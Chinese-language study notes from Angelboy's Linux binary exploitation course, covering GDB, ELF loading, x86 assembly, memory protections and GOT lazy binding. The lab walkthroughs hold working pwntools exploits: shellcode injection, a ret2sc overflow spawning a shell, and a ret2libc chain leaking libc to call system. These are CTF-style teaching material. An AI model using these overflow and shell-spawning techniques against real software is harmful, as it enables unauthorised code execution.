有問題可以提醒我修正
Discord:台女#4240
PWN1
PWN2

tags: Pwn Angelboy

AngelBoy_Pwn Video1

環境和Labs
簡報

Linux binary Exploitation - Basic knowledge from Angel Boy

GDB

Basic command

gdb -n(最原始的gdb) -q(不要顯示一大串的資訊) [binary]

  • run binary - 執行程式
  • disas function - 反組譯某函式
  • break *address - 在某地址(或函式)下斷點
  • info breakpoint - 查看有哪些斷點
  • info register - 查看所有暫存器的值
  • x/wx address - 查看某地址的內容
    (w可以替換成b/h/g ->1/2/8 byte
    /後面接數字可以列出多個內容
    第二個x可以替換成u/d/s/i->unsigned int/decimal/string/instruction)
  • ni - 進到下一行instruction(遇到function不會追進去)
  • si - 進到下一行instruction(遇到function會追進去)
  • backtrace - 顯示上層所有stack frame資訊
  • continue - 繼續執行
  • set *address=value - 設定某位址的值
    (用*一次4byte
    將*改成{int}/{short}/{long}->1/2/8byte)
  • attach pid - attach一個正在運行的process
  • info function - 看所有函式位址
  • lay asm

PEDA

python寫的gdb插件

原版
Angelboy版
Angelboy Extra

Useful Feature

  • checksec - 檢查binary有哪些保護機制
  • elfsymbol - 查看function .plt
  • vmmap - 查看記憶體分布和rwx權限
  • readelf - 查看section位置
  • find (alias searchmem) - 搜尋memory中的patten
  • record - 回溯之前的指令

-Lab1

Execution

Binary Format

根據OS不同有所不同

  • Linux - ELF
  • Windows - PE
  • Mac - MacBinary
    開頭會有Magic Number方便OS辨識檔案類型

Section

根據讀寫執行權限和特性分類

  • system - 跟系統相關的指令參數
  • stack - 存區域變數以及函數回傳值
  • heap - 存動態配置的變數
  • bss - 存未初始化的全域變數
  • data - 存有初始化值的全域變數
  • rodata - 唯讀的資料
  • text - 放編譯後的code

Execution Flow

在Linux執行一支Binary的過程
static Linked

Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

Dynamic Linked
Image Not Showing Possible Reasons
  • The image file may be corrupted
  • The server hosting the image is unavailable
  • The image path is incorrect
  • The image format is not supported
Learn More →

User Mode:
一開始會先呼叫fork()去複製原本的程序(Process)產生一個子程序(child-process),child-process再去執行execve()
接下來就進到

Kernel Mode:
裡面主要會先呼叫sys_execve()
去檢查參數的格式是不是正確的。

例如:argv要是一個指標陣列,你傳字串進去他就會回傳-1然後跳出來,成功通過的話就執行下一個函式。

do_execve()
去搜尋執行檔的位置是否存在這個執行檔,沒有的話就回傳-1,讀取的同時也會順便讀前128byte取得執行檔的格式。

search_binary_handler()
根據前面讀到的檔案格式選擇執行那個程式的function。

例如:前面讀到他是一個python的script,那就用load_script()去處理。
前面讀到是一個elf就用load_elf_binary()去處理。

load_elf_binary()
檢查程式header,如果是Dynamic linking會利用.interp這個section確定loader的路徑,接下來把program header紀錄的位置mapping到memory中,最後把sys_execve()的return address改成loader(ld.so)的entry point;static linking則是改成elf的entry point。

程式是怎麼maps到虛擬記憶體的?
在程式的header中記錄著哪些segment應該mapping到甚麼位置,以及讀寫執行權限,還有哪些section屬於哪些segment。
一個segment可能有0個或是多個section。

一些指令:

查看program header

$ readelf -l [binary]

查看section header

$ readelf -s [binary]

查看dynamic section內容

$ readelf -d [binary]

x86 assembly

Registers

  • General-Purpose Registers
    • EAX EBX ECX EDX - 32bit
    • AX BX CX DX - 16bit
    • AH BH CH DH - 8bit(high)
    • AL BL CL DL - 8bit(low)
  • Buffer Pointer
    • EDI ESI - 32bit
    • DI SI - 16bit
  • Stack Pointer
    • ESP(指向Stack頂端)
  • Base Pointer
    • EBP(指向Stack底端)
  • Program counter register
    • EIP(指向目前程式執行的位置)
  • Flag register
    • eflags(儲存指令執行結果)more
  • Segment registers
    • cs(code segment)
    • ss(stack segment)
    • ds(data segment)
    • es(destinatrion segment)
    • fs(src)
    • gs(src)
      src

Basic instruction

有AT&T和Intel兩種

  • AT&T
    • mov %eax,%ebx
  • Intel
    • mov ebx,eax

除了前面的"%"符號以外,最大的差異就是AT&T是把前面的值給後面的值,Intel則相反。

  • mov

    • mov A,B(move B to A)
    • A和B size要相等
    • Ex:
      • mov eax,ebx(correct)
      • mov eax,bl(wrong)
      • mov eax,0xdeadbeef(correct)
  • add/sub/xor/and

    • add/sub/xor/and [register],[value]/[register]
    • add/sub/xor/and A,B
    • A和B的size要相等
    • Ex:
      • add ebp,0x48
      • sub eax,ebx
  • push/pop

    • push/pop [register]
    • push - 將register抽出來放到stack頂端
    • pop - 從stack頂端取4byte(x86)放到register裡面
    • Ex:
      • push eax (相當於 sub esp,4;mov [esp],eax)
      • pop ebx (相當於 mov ebx,[esp];add esp,4)
  • lea

    • 跟mov很像
    • mov取在該地址的值
    • lea取地址address
    • Ex:
      • lea eax,[rbp-4]
  • jump/call/ret

    • jmp 跳到某處執行
    • call 先將下一行指令的地址存起來再跳到某處執行
    • ret 把stack頂端pop到eip
  • leave

  • nop

    • 什麼事都不做
    • 一個byte
    • opcode = 0x90
    • 寫shellcode可以當padding
  • System call

    • instruction:int 0x80(x86);system call(x64)
    • 執行到int 0x80會進到System call
    • eax放System call number,執行完會把return value放到eax
    • 參數(依序):ebx,ecx,edx,esi,edi
    • src
  • Calling convention

    • function call(call)
    • function return(ret)
    • functin argument(x86一般用stack,但也有用register)
    • function prologue(compiler在function開頭加的指令,用來保存ebp分配區域變數所需空間)
      ​​​​​​​​push ebp ​​​​​​​​mov ebp,esp ​​​​​​​​sub esp,0x30
    • function epilogue(回復成call function前的stack狀態)
      ​​​​​​​​leave ​​​​​​​​ret

calling convention

這邊我有自己做一份ppt介紹calling convention的過程。
這邊建議多看幾次確定要很熟,後面很多攻擊都會需要很清楚知道程式怎麼call funtion的。

Hello World

開始寫第一個Assembly code

section .text global _start _start: jmp msg write: pop ecx mov eax,4 mov ebx,1 mov edx,12 int 0x80 mov eax,1 int 0x80 msg: call write db 'Hello world',0xa

用Vim把這些寫進叫做hello.s的檔案裡,再用下面這兩行指令編成執行檔

$ nasm -felf32 hello.s -o hello.o
$ ld hello.o -melf_i386 -o hello


這時候應該會有這三個檔案
跑hello

$ ./hello


逐行解釋這段code

section .text

這是指寫在.text這個Segmant的意思,這邊
第二行

global _start

有點類似C語言中的int main(),不過這邊可以放任意的function,不一定是_start。
ref

接下來就是_start,write,msg這三個funtion
_start裡面只有一行程式碼

jmp msg

就是直接跳到msg這個funtion,這邊有用到jmp這個指令,補充一下這個instruction是無條件跳過去,還有很多跳的instruction,之後應該會有介紹,這邊
目前已經跳到msg這個funtion了
這裡有兩行

call write db 'Hello world',0xa

分別是呼叫write和
定義Hello world這個字串到0xa,db就是define bytes的縮寫

  • DB - Define Byte. 8 bits
  • DW - Define Word. Generally 2 bytes on a typical x86 32-bit system
  • DD - Define double word. Generally 4 bytes on a typical x86 32-bit system
    接下來是write的部分
pop ecx

還記得前一個msg有用到call這個instruction,這會把他的下一行("db 'Hello world',0xa")的位址push到stack裡面(頂端),然後再pop ecx,把stack頂端("db 'Hello world',0xa"的位址)存到ecx,方便到時候funtion epilogue的時候能復原成call之前的stack狀態。

接下來

mov eax,4

可以在Syscall的Document這裡,找到write的eax要放什麼?這邊的意思是系統會看你的eax去決定要做哪個system call,中文好像是呼叫慣例(?
這邊放4,系統就知道你要做write這個funtion。

接下來

mov ebx,1

ebx要放的的是叫做fd(file descriptor)的東西,這邊放1表示std_out,想看更詳細的這邊
還有這邊
總之就是讓字串可以輸出在螢幕上~
stdin:標準輸入裝置(standard in),預設是鍵盤。
stdout:標準輸出裝置(standard out),預設是螢幕。
stderr:標準錯誤記錄裝置(standard error),預設是螢幕。

接下來

mov edx,12

這是指'Hello world'這個字串的長度為12,你自己去數會發現包括空白字元只有11個字元,為什麼是12呢?因為字串最後面還有一個空字元告訴程式這個字串到這而已,想看更多看這邊

接下來

int 0x80

這是System call的用法,在使用 int 0x80 之前,必須要將我們剛查出來的號碼填到 eax 內;填好後,只要一使用 int 0x80,相對應的 system call 就會被呼叫。這邊

接下來

mov eax,1 int 0x80

這邊就是把原本eax的4改成1,也就是原本call write後來call exit結束掉程式,最後再用一次int 0x80去完成exit的動作。

完結灑花><

以上就是第一個Assembly code

Shellcode

攻擊者為了拿到shell注入的程式碼叫做shellcode,由machine code組成。

產生shellcode有很多方法,例如:

$ objcopy -O binary hello.bin shellcode.bin

或是pwntools

from pwn import * sc = asm( """ jmp hello write : mov eax,4 mov ebx,1 pop ecx mov edx,12 int 0x80 mov eax,1 int 0x80 hello : call write .ascii "Hello world" .byte 0 """,arch="i386") print(sc)

這樣就能印出hello world的shellcode了

在本地跑的話就是這樣:

#include <stdio.h> char shellcode[] = "\xeb\x19\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00Y\xba\x0c\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xcd\x80\xe8\xe2\xff\xff\xffHello world\x00"; //剛剛的shellcode複製起來貼到這裡 int main() { void(*fptr)() = shellcode; fptr(); }

記得用
$ gcc -m32 -z execstack test.c -o test
去編譯,這邊test.c就看你上面那坨code存的檔名是什麼,後面的test就是你編譯出來的執行檔檔名,也是任意取。

編譯完應該會多出一個test的elf檔,這時候讓他跑起來就會出現hello world了。

$ xxd test

就可以看到他的shellcode
或是加上-i參數可以看到c語言字串形式的shellcode

$ xxd -i test

Lab2

Stack base buffer overflow

Buffer Overflow

程式設計師未對buffer長度做檢查,導致駭客可以控制程式流程或是改變數的值。
依照buffer位置可以分成:

  • stack base(stack smashing)
  • data base
  • heap base

這些函式可能導致buffer over:

  • gets
  • scanf
  • strcpy
  • sprintf
  • memcpy
  • strcat

  • 這些函式都沒對buffer長度做檢查,所以可能導致buffer overflow

buffer overflow的memory長這樣


首先是正常的memory

先開一個char buf[20]的空間

但是你放入了100個a,可以發現ebp和ret addr都被蓋成aaaa了

當你要return的時候,pop ebp就把eip的值改成0x61616161(aaaa)了
這時候就成功的控制了eip的值了
return address被改成0x61616161,但是記憶體裡面沒有這個位址,所以就segment fault了

那如果不要亂輸入a,輸入攻擊者的攻擊代碼位址,是不是就能為所欲為了呢?
這邊要注意x86是little-endian,address要反過來輸入
例子:
假設要填入0x080484fd
就要輸入\xfd\x84\x04\x08
或是用pwntool的p32()可以直接把你的address轉成little-endian的形式。

Return to Text/Shellcode

Locate funtion address

接下來就是要如何讓程式跳到我們想跳的地方(shellcode)
首先要先找到我們想跳的地方的函式的位址,可以用

$ info function

去看這隻程式所有函式的位址(或是objdump)。
然後要去找你要塞多少byte才能到你的目標函式,也就是你要覆蓋的函式的前面都要填滿東西,這邊可以用pwntool內建的工具cyclic。
進到python環境先打:

from pwn import * cyclic(100) # 這個數字可以任意填,這行的意思就是生成每4Byte都不重複的字串,長度是100

然後就會出現一大坨字串,像這樣:


再把這坨餵到程式的輸入裡,然後用gdb看他的EIP是哪四個字元,我用Lab3示範

其實不一定是EIP,看你要對程式哪邊操作去決定要填到哪裡,這邊看到EIP的值是aava
接下來用cyclic_find()這個函式去找offset(填充的長度)要多少?

可以看到offset是82。

Exploit

netcat用法:

$ ncat -ve ./[binary] -kl [port]

Ex:

$ ncat -ve ./ret2sc -kl 8888

這邊的意思就是把你的ret2sc的binary放到你的localhost的8888port上,所以你nc loalhost:8888會執行這支binary
$ nc -v localhost 8888就可以連過去囉
開始練習 Lab3

Protection

ASLR

記憶體位址隨機變化
每次執行程式stack、heap、library位址都不一樣
Linux核心的東西
cat /proc/sys/kernel/randomize_va_space
這個指令可以看到ASLR的隨機化強度
分別有0、1、2

  • 0是關閉
  • 1是library、stack、mmap() 以及 VDSO 將被隨機化
  • 2是1再加上heap的位址都被隨機化

$ ldd /bin/ls可以看到執行時載入的library位址都不一樣

DEP(NX)

大原則:可寫不能執行;可執行不能寫
可以用gdb裡面的vmmap看process的權限

PIE

用gcc編譯的時候預設不會開啟,加上-fPIC -pie就可以開啟
沒開:data段、code段固定
有開:data段、code段跟著ASLR

StackGuard

隨機生成亂數,function call的時候塞入,function return的時候檢查值有沒有變動
該亂數稱為canary
預設是開啟的,能有效的防止stack overflow
canary會放在tls區段裡面的tcbhead_t結構中,在x86/x64架構下恆有一個暫存器指向tls區段裡面的tcbhead_t結構,在x86是gs;在x64是fs,取canary的值會直接以fs/gs取。

Lazy binding

由於ASLR機制,每次function的位置都不一樣
Dynamic Linking的程式在執行過程中,有些library的函式到結束都不會用到,因此為了節省時間,Lazy binding的機制會在第一次call function的時候再去找function位置進行binding,而不是一次把所有函式都找出來,這樣的效率比較高。

Global Offset Table

library的位置載入後才決定,所以在無法在編譯的時候知道位置
GOT是一個函式指標陣列,存library中function的位置
由於Lazy Binding機制的關係,程式在呼叫function的時候不會填上函式位置,而是填上一段PLT位置的code


GOT主要分成

  • .got(保存全域變數引用位置)
  • .got.plt(保存函式引用位置)
    • 前三項有特殊功能
      1. address of .dynamic
        (dynamic section的位置)
      2. link_map
        (將有引用到的library串成的link list)
      3. dl_runtime_resolve
        (找函式位置的函式)源碼分析

後面是.so函式引用位置

實作過程

假設現在在call 一個叫做foo()的函式

第一次call foo()

在.got.plt裡面會寫成foo@plt+6
+6就是 jmp *(foo@GOT) 的長度
因為foo是第一次被call所以會直接執行push index,跳過 jmp *(foo@GOT) 這行
接下來就開始執行Lazy Binding,這邊index根據你的function不同會有不同的值,push index後就jump到PLT0的code段。

PLT0在所有PLT的最上方,push *(GOT+4) 這邊+4是因為32位元一個pointer是4byte
push *(GOT+4) 主要是把link_map push進去
再來 jmp *(GOT+8)jmp dl_runtime_resolve()
到這邊總結一下就是call了dl_runtime_resolve(),並且把link_map和index放進去
->dl_runtime_resolve(link_map,index)

接下來進到dl_runtime_resolve


最核心的function就是call_fix_up()
這個function會把函式真正的位置找出來,並且填回.got.plt(GOT)
然後ret 0xc就是return回foo()

第二次call foo()


這次不會跳過第一行jmp *(foo@GOT),這次會直接跳到.got.plt(GOT)裡面,由於第一次已經把位置填好了,所以會直接跳過去,不會再執行下面的push indexjmp PLT0

How to find GOT

$ objdump -R elf

or

$ readelf -r elf

GOT Hijacking主要的思路就是由於Lazy Binding的機制GOT必須要可以寫入,剛剛實作時把foo()填進GOT的時候把foo()改成system()就可以達到控制程式流程的效果了。

GOT的防禦機制RELRO
RELRO分成三種:

  • Disabled
    • .got/.got.plt都可寫
  • Partial(Default)
    • 只有.got.plt可寫,.got唯讀(這個是預設的)
  • Fulled
    • 會在load time的時候把所有函式找完並填完,把.got/.got.plt都變成唯讀,這個模式下無法GOT Hijacking

Return to Library

一般程式很難有system這種可以直接得到shell的function、DEP/NX的保護機制也會讓你無法用shellcode去執行,但大部分程式在Dynamic Linking的情況下都會載入libc,libc有很多好用的function,例如:system、execve
由於ASLR的關係,每次libc的載入位置都不一樣,通常都需要leak出libc的base address,然後加上offset就能導到你要的funtion。

可以leak出libc base位置的地方有:

  • GOT
  • Stack上的殘值(funtion return後不會把stack清除)
  • Heap上的殘值(free完後在malloc,不會把heap內容清空)

一般情況下ASLR都是整個library image一起移動,因此只要leak出libc其中一個位址後,就可以推得全部function的位址。
可以用

$ objdump -T [library版本] | grep [function]


library大概長這樣,由於ASLR的關係,記憶體的位址會隨機,但是整個library一起隨機,他們的相對位置不會變(即使隨機,還是不會把他們的排序打亂,距離library_base的address(offset)也是固定的)
也就是說只要知道你需要用到的function的offset還有library_base的位置,就可以把你需要用到的function位址求出來。

實作過程

要先確認library的版本,可以用

$ ldd [elf]

像這樣,可以看到是libc.so.6
然後用

$ objdump -T  /lib32/libc.so.6 | grep printf

就可以看到有很多printf


可以找到我們要的printf的offset是00053de0

然後還需要找到system的位置,一樣用

$ objdump -T  /lib32/libc.so.6 | grep system


那接下來只需要把printf的位置扣掉printf的offset再加上system的offset就可以得到system的位置了

公式:
libc_base_addr + printf_offset = printf_addr
libc_base_addr + system_offset = system_addr
已知printf_addr、printf_offset、system_offset就可以先算出libc_base_addr,然後再加上system_offset得到system_addr

成功拿到system位置後就可以複寫return位置,跳到system得到shell。
這邊要注意要多空一格,因為我們用的是ret不是call,一般call之後會push一個return address到stack中,function會空一格再取參數。

總之就是會有一個return address在stack上,要記得空著。

補充:
"/bin/sh"字串位置可以在libc找到;system參數只要"sh",也可以只找"sh"這個字串就好。

最後做Lab4練習看看吧~

Lab

Lab1

這題的作法很多,我自己摸出來的做法是:
首先先看source code


會發現程式的邏輯就是把你輸入的字串和password比對,一樣的話就印出flag。
大概了解題意後就開始動工
我上網查過一些作法是leak出password,然後輸入password就能印出flag了。
我這邊的做法是下斷點在if判斷的instruction,先反組譯get_flag()函式

$ disas get_flag()


會在裡面看到組合語言的cmp,就相當於source裡面的if判斷式,把斷點下在這行(0x08048720),然後執行起來。

$ break *0x08048720
$ r

這邊會要你輸入magic,就隨便輸入就好了,反正後面會再做修改


可以看到程式跑到斷點,在做cmp的instruction了,這裡在比較edx和eax的值,eax是你輸入的magic,edx是password,這邊我的想法就是把其中一個的值改成另一個的值就過這條判斷式了!
那就用set這個指令去改

$ set $eax=$edx
$ ni
$ continue

這樣就成功拿到flag囉

Lab2

這題就是自己寫shellcode,去做read、write、open
題目可以去pwnable.tw找orw這題,

檔案的位置在/home/orw/flag,用剛剛的hello world的模板來改,最後的shellcode長這樣

  1 from pwn import *
  2
  3 #r = process("./orw.bin")
  4 r = remote("chall.pwnable.tw",10001)
  5
  6 sc = asm(
  7 """
  8     jmp hello
  9 write :
 10     pop ebx
 11     mov eax,5
 12     mov ecx,0
 13     int 0x80
 14     
 15     mov ebx,eax
 16     mov ecx,esp
 17     mov edx,0x60
 18     mov eax,3
 19     int 0x80
 20
 21     mov edx,eax
 22     mov ebx,1
 23     mov eax,4
 24     int 0x80
 25
 26     mov eax,1
 27     int 0x80
 28
 29 hello :
 30     call write
 31     .ascii "/home/orw/flag"
 32     .byte 0
 33
 34 """
 35 )
 36
 37 r.recvuntil(":")
 38 r.sendline(sc)
 39 r.interactive()

首先前面做的都差不多,先jmp到hello然後call write的時候會把下一行的字串push到stack頂端,進到write的時候先寫open()的shellcode(10~13):
首先先

pop ebx

把stack頂端(剛剛push進去的字串)存到ebx,第31行要記得改成題目說的檔案位置/home/orw/flag。
在syscall的document中可以看到open的ebx要放file name,這邊pop ebx就成功設定好ebx這個參數了。
這邊要注意ebx要放絕對路徑

接下來

mov eax,5

這邊是設定eax為5,5是open這個system call的numer,在剛剛的document中都可以看到

接下來

mov ecx,0

ecx放flag
這邊flag放0應該是指read-only
ref
不太確定
文章裡面說一定要有這個參數,我刪掉後還是可以拿到flag(X

接下來

int 0x80

這是呼叫system call的意思,這時候就會根據eax的值去決定要做那個function,檢查eax,ebx,ecx那些參數。

到這邊open()的Assembly就做完了

接下來(15~19行)是做read()
首先

mov ebx,eax

剛剛open()完會回傳fd(file description)也就是這個檔案的描述到
eax,read()的ebx是放fd的,所以第一行先把eax的值(fd)給ebx

接下來

mov ecx,esp

ecx是放buffer的地方,那就把esp給ecx就可以了
buffer是指兩個程式傳遞東西的速度不同,需要一個緩衝區去放待處裡的檔案的地方,這邊就隨便放esp就可以了,沒特別指定要放哪裡。

接下來

mov edx,0x60

edx是放size的地方,這邊沒說size多少,就隨便放(不要太小)。

接下來

mov eax,3
int 0x80

這跟剛剛一樣,讓system call可以知道要呼叫read()

以上是read()的部分

最後是write()(21~24)的部分
首先

mov edx,eax

eax會回傳讀取的長度,這邊write的size也是放在edx,所以就把eax的值給edx。

接下來

mov ebx,1

ebx放fd,給1代表stdout輸出。

mov eax,4
int 0x80

這邊應該不陌生了,就是system call write()

到這邊這題就差不多了,最後別忘記exit()

mov eax,1
int 0x80

離開程式。

到這邊shellcode就大功告成了~

pwntool的話簡單的介紹一下:
首先

from pwn import * # 引用pwntool這個函式庫 #r = process("./orw.bin") # 這邊process("[binary]")是指在本地跑檔案的意思,我後來連到pwnable.tw去解題所以不需要本地跑 r = remote("chall.pwnable.tw",10001) # 這個就是連線到別人架的題目remote("[url],port")

還有最後的

r.recvuntil(":") # 讓程式讀到":"這個字元 r.sendline(sc) # 讓程式送出sc(也就是剛剛寫的那一大串shellcode) r.interactive() # 切換到互動模式,如果拿到shell後可以輸入指令跟Terminal互動

最後用python去跑這個腳本就可以拿到flag囉!!

Lab3

$ ncat -ve ./ret2sc -kl 6969
先把題目架好
這題是ret2sc,先看source code

#include <stdio.h> char name[50]; int main(){ setbuf(stdout,0,2,0); printf("Name:"); read(0,name,50); char buf[20]; printf("Try your best:"); gets(buf); return ; }

可以看到這邊buf的size是20,但是下面用gets讀入,gets是一個很危險的函式,因為gets可以一直讀入東西,不會有長度的限制。
所以攻擊點在gets(buf)這邊。

整體的攻擊思路就是先輸入shellcode到name,然後在buf的地方overflow跳到前面name的地方去執行shellcode。

先檢查保護機制,先進到gdb之後再打這個

$ checksec


可以看到幾乎都是關的,那就不用再特別處裡bypass的部分
一開始先找offset要塞多少,用剛剛提到的cyclic先產生一大坨字串

然後我塞到輸入buf的部分,也就是"Try your best:"輸入的地方
然後用gdb去看EIP會發現是"iaaa"

再用$ cyclic_find("iaaa")去看offset的長度是32

那就可以開始寫exploit了!!
基本模板先寫好

from pwn import * host = localhost port = 6969 # 我架在port6969 r = remote(host,port) r.interactive()

然後要先找到name這個function的address,這是我要跳到的function


可以用gdb或是nm

找到name的位置在0x804a060

知道offset要塞多少,也知道要跳的目標函式位址,就可以開始寫exploit(攻擊腳本)了

from pwn import * r = process('./ret2sc') # 在本地跑這隻程式,也可以用ncat架到自己的localhost連線,方法上面有寫 name_addr = 0x804a060 # 剛剛找到name的函式位址 payload = b'a' * 32 # 剛剛查證過offset是32 payload += p32(name_addr) # 要用p32轉成byte的形式 r.recvuntil(":") # 先讀入Name: r.sendline(asm(shellcraft.sh())) # 這是pwntool的工具,可以直接弄出現成的shellcode # 這邊實作上面的想法,在讀入Name:後輸入shellcode給他吃 r.recvuntil(":") # 這邊是在讀入Try Your Best: # 這邊要輸入payload讓他觸發overflow然後跳到name的地方(剛剛塞shellcode的地方) r.sendline(payload) # 送出payload,完成 r.interactive() # 切換到互動模式,可以輸入一些指令確定你是否成功拿到shell,例如:ls,id,pwd

完成~

Lab4

先看c的code

  1 #include <stdio.h>
  2
  3 void See_something(unsigned int addr){
  4     int *address ;
  5     address = (int *)addr ;
  6     printf("The content of the address : %p\n",*address);                                                                     7 };
  8
  9 void Print_message(char *mesg){
 10     char buf[48];
 11     strcpy(buf,mesg);
 12     printf("Your message is : %s",buf);
 13 }
 14
 15 int main(){
 16     char address[10] ;
 17     char message[256];
 18     unsigned int addr ;
 19     puts("###############################");
 20     puts("Do you know return to library ?");
 21     puts("###############################");
 22     puts("What do you want to see in memory?");
 23     printf("Give me an address (in dec) :");
 24     fflush(stdout);
 25     read(0,address,10);
 26     addr = strtol(address);
 27     See_something(addr) ;
 28     printf("Leave some message for me :");
 29     fflush(stdout);
 30     read(0,message,256);
 31     Print_message(message);
 32     puts("Thanks you ~");
 33     return 0 ;
 34 }


這題會要你輸入一個address,然後看address的內容,攻擊的注入點在Print_message裡面的strcpy,可以做到buffer overflow。
先做buffer overflow
首先要先餵一個10進位的address,先隨便找一個GOT的位置(我用put)。

$ objdump -R ret2lib


要記得先轉成10進位,直接在python打就可以了(我這邊是用python3,應該1,2,3都可)要改成hex的形式才能轉喔0804a01c->0x804a01c

轉完0x804a01c(16進位)->134520860(10進位)
把這個10進位的數字餵進去會得到0xf7e46290

檢查一下0xf7e46290是不是put

$ x/x 0xf7e46290


確定ok後
接下來要找多少bytes會蓋到return address,這邊可以用之前提過的cyclic()或是直接在gdb裡面用pattc [數字]產生一大串bytes,然後用crashoff去看是在多少的時候crash的,這邊兩種做法都提供

cyclic()

先產生bytes,到python裡面import pwntools

$ python3
>>>from pwn import *
>>>cyclic(100)


產出字串先複製起來
接下來回到gdb,一開始還是一樣填入10進位的位置,然後填入剛剛產出的字串

像這樣
這時候去看EIP裡面是什麼

會發現是'paaa'
回到python,用這個指令就可以知道要塞多少

$ python3
>>>from pwn import *
>>>cyclic_find('paaa')


可以得到是60

pattc

這是gdb裡面的指令,先打

$ gdb
$ pattc 100

用法就是pattc [數字],一樣可以產出一串byte


接下來把程式跑起來然後填入put位置和剛剛產出來的bytes

然後打

$ crashoff

就可以知道要塞多少囉


一樣是60

到這邊就可以開始寫exploit了
這邊有不懂的程式碼可以參考上面的exploit,上面有註解很仔細
主要分成四個部分

  • 送出puts的offset
  • 接收puts的addr
  • 算出payload需要的各種位置
  • 送payload

送出puts的offset

from pwn import * r = process('./ret2lib') put_got = 0x804a01c r.recvuntil(":") r.sendline(str(put_got)) #送出put的offset

這邊put_got的位置可以用$ objdump -R ret2lib找到


送出記得轉成字串

接收puts的addr

from pwn import * r = process('./ret2lib') put_got = 0x804a01c r.recvuntil(":") r.sendline(str(put_got)) #送出put的offset r.recvuntil(": ") put_addr = int(r.recvuntil('\n').strip(),16) #接收put的addr

這邊用strip取字串,然後轉成16進位,要小心:後面還有一個空格,要記得recv

算出payload需要的各種位置

from pwn import * r = process('./ret2lib') put_got = 0x804a01c r.recvuntil(":") r.sendline(str(put_got)) #送出put的offset r.recvuntil(": ") put_addr = int(r.recvuntil('\n').strip(),16) #接收put的addr put_offset = 0x71290 system_offset = 0x45420 libc_base_addr = put_addr - put_offset system_addr = libc_base_addr + system_offset sh = 0x0804829e #算出payload需要的各種位置

puts、system的offset可以用$ objdump -T /lib32/libc.so.6 | grep puts$ objdump -T /lib32/libc.so.6 | grep system找到
然後上面有提到那個公式,總之就是推出system的address
最後找到程式裡面"sh"字串的位置,可以用ROPgadget找(我是用這個);或是ida的string view好像也可以找到
ROPgadget的找法就是ROPgadget --binary ret2lib --string 'sh'


到這邊需要的資訊就都到齊了,最後payload再把他組起來就好了

送payload

最後一步

from pwn import * r = process('./ret2lib') put_got = 0x804a01c r.recvuntil(":") r.sendline(str(put_got)) #送出put的offset r.recvuntil(": ") put_addr = int(r.recvuntil('\n').strip(),16) #接收put的addr put_offset = 0x71290 system_offset = 0x45420 libc_base_addr = put_addr - put_offset system_addr = libc_base_addr + system_offset sh = 0x0804829e #算出payload需要的各種位置 r.recvuntil(':') payload = b'a'*60 payload += p32(system_addr) + p32(0xdeadbeef) + p32(sh) r.sendline(payload) #送payload

還記得剛剛有找過要塞60bytes才會buffer overflow,所以傳b'a'*60
然後要跳到system的位置,並且要隨便塞一個address,上面有提到要空一個return address,他會從return address下面4個bytes開始吃參數,所以就亂塞一個地址(0xdeadbeef好像是大家的習慣XD),然後把sh傳進去,這樣就會執行system('/sh'),成功拿到shell~
這題就解掉了~